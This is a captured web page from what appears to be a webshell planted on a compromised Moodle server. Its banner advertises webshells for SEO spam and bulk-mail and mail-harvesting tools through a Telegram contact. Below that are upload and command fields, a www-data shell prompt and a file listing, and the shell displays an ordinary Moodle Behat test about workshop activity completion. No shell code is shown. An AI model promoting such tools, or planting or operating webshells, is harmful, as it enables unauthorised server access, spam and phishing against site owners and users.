__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_workshop @core_completion
Feature: View activity completion information in the Workshop activity
  In order to have visibility of lesson completion requirements
  As a student
  I need to be able to view my lesson completion progress

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email                |
      | student1 | Vinnie    | Student1 | student1@example.com |
      | student2 | Rex       | Student2 | student2@example.com |
      | teacher1 | Darrell   | Teacher1 | teacher1@example.com |
    And the following "courses" exist:
      | fullname | shortname | enablecompletion | showcompletionconditions |
      | Course 1 | C1        | 1                | 1                        |
    And the following "course enrolments" exist:
      | user | course | role           |
      | student1 | C1 | student        |
      | student2 | C1 | student        |
      | teacher1 | C1 | editingteacher |
    And the following "activities" exist:
        | activity | name          | course | submissiontypefile | completion | completionview |
        | workshop | Music history | C1     | 1                  | 2          | 1              |
    And I am on the "Music history" "workshop activity editing" page logged in as teacher1
    And I set the following fields to these values:
      | Receive a grade       | Submission                                        |
      | Any grade             | 1                                                 |
    And I press "Save and return to course"
    And I edit assessment form in workshop "Music history" as:
      | id_description__idx_0_editor | Aspect1 |
    And I change phase in workshop "Music history" to "Submission phase"

  Scenario: The workshop module displays automatic completion conditions to teachers
    Given I am on the "Music history" "workshop activity" page
    Then "Music history" should have the "Receive a grade" completion condition
    And "Music history" should have the "View" completion condition

  Scenario: Students can complete a workshop activity by achieving a passing grade
    Given I am on the "Music history" "workshop activity" page logged in as student1
    And the "View" completion condition of "Music history" is displayed as "done"
    And the "Receive a grade" completion condition of "Music history" is displayed as "todo"
    # Add a submission.
    And I press "Add submission"
    And I set the field "Title" to "Pinch harmonics"
    And I set the field "Submission content" to "Satisfying to play"
    And I press "Save changes"
    And I am on the "Course 1" course page logged in as teacher1
    And I change phase in workshop "Music history" to "Assessment phase"
    And I allocate submissions in workshop "Music history" as:
      | Participant     | Reviewer      |
      | Vinnie Student1 | Rex Student2  |
    # Assess the submission.
    And I am on the "Music history" "workshop activity" page logged in as student2
    And I assess submission "Pinch harmonics" in workshop "Music history" as:
      | grade__idx_0            | 9 / 10      |
      | peercomment__idx_0      | Well done   |
    # Evaluate and close the workshop so a grade is recorded for the student.
    And I am on the "Course 1" course page logged in as teacher1
    And I change phase in workshop "Music history" to "Grading evaluation phase"
    And I am on the "Music history" "workshop activity" page
    And I click on "Re-calculate grades" "button"
    And I change phase in workshop "Music history" to "Closed"
    # Confirm completion condition is updated.
    When I am on the "Music history" "workshop activity" page logged in as student1
    Then the "View" completion condition of "Music history" is displayed as "done"
    And the "Receive a grade" completion condition of "Music history" is displayed as "done"

  @javascript
  Scenario: A student can manually mark the workshop activity as done but a teacher cannot
    Given I am on the "Music history" "workshop activity" page
    And I am on the "Music history" "workshop activity editing" page
    And I expand all fieldsets
    And I set the field "Students must manually mark the activity as done" to "1"
    And I press "Save and display"
    # Teacher view
    And the manual completion button for "Music history" should be disabled
    # Student view.
    When I am on the "Music history" "workshop activity" page logged in as student1
    Then the manual completion button of "Music history" is displayed as "Mark as done"
    And I toggle the manual completion state of "Music history"
    And the manual completion button of "Music history" is displayed as "Done"

Filemanager

Name Type Size Permission Actions
behat_mod_workshop.php File 8.05 KB 0777
delete_submission.feature File 4.38 KB 0777
embedded_images.feature File 4.33 KB 0777
example_submission.feature File 2.2 KB 0777
export_submission.feature File 4.47 KB 0777
file_type_restriction.feature File 6.19 KB 0777
grade_to_pass.feature File 4.81 KB 0777
grading_strategy.feature File 4.62 KB 0777
group_mode.feature File 3.81 KB 0777
self_assessment.feature File 3.7 KB 0777
submission_types.feature File 9.28 KB 0777
workshop_activity_allocation.feature File 3.89 KB 0777
workshop_activity_completion.feature File 4.57 KB 0777
workshop_activity_filter.feature File 4.53 KB 0777
workshop_assessment.feature File 8.83 KB 0777
workshop_assessment_comparison.feature File 5.38 KB 0777
workshop_assessment_navigation.feature File 3.42 KB 0777
workshop_completion_pass_grade.feature File 7.36 KB 0777
workshop_edit_form.feature File 2.25 KB 0777
workshop_grade.feature File 7.24 KB 0777
workshop_late_submission.feature File 3.63 KB 0777
workshop_section_remembered.feature File 1.6 KB 0777
workshop_submission_max_upload.feature File 2.26 KB 0777
workshop_submission_view.feature File 3.89 KB 0777
Filemanager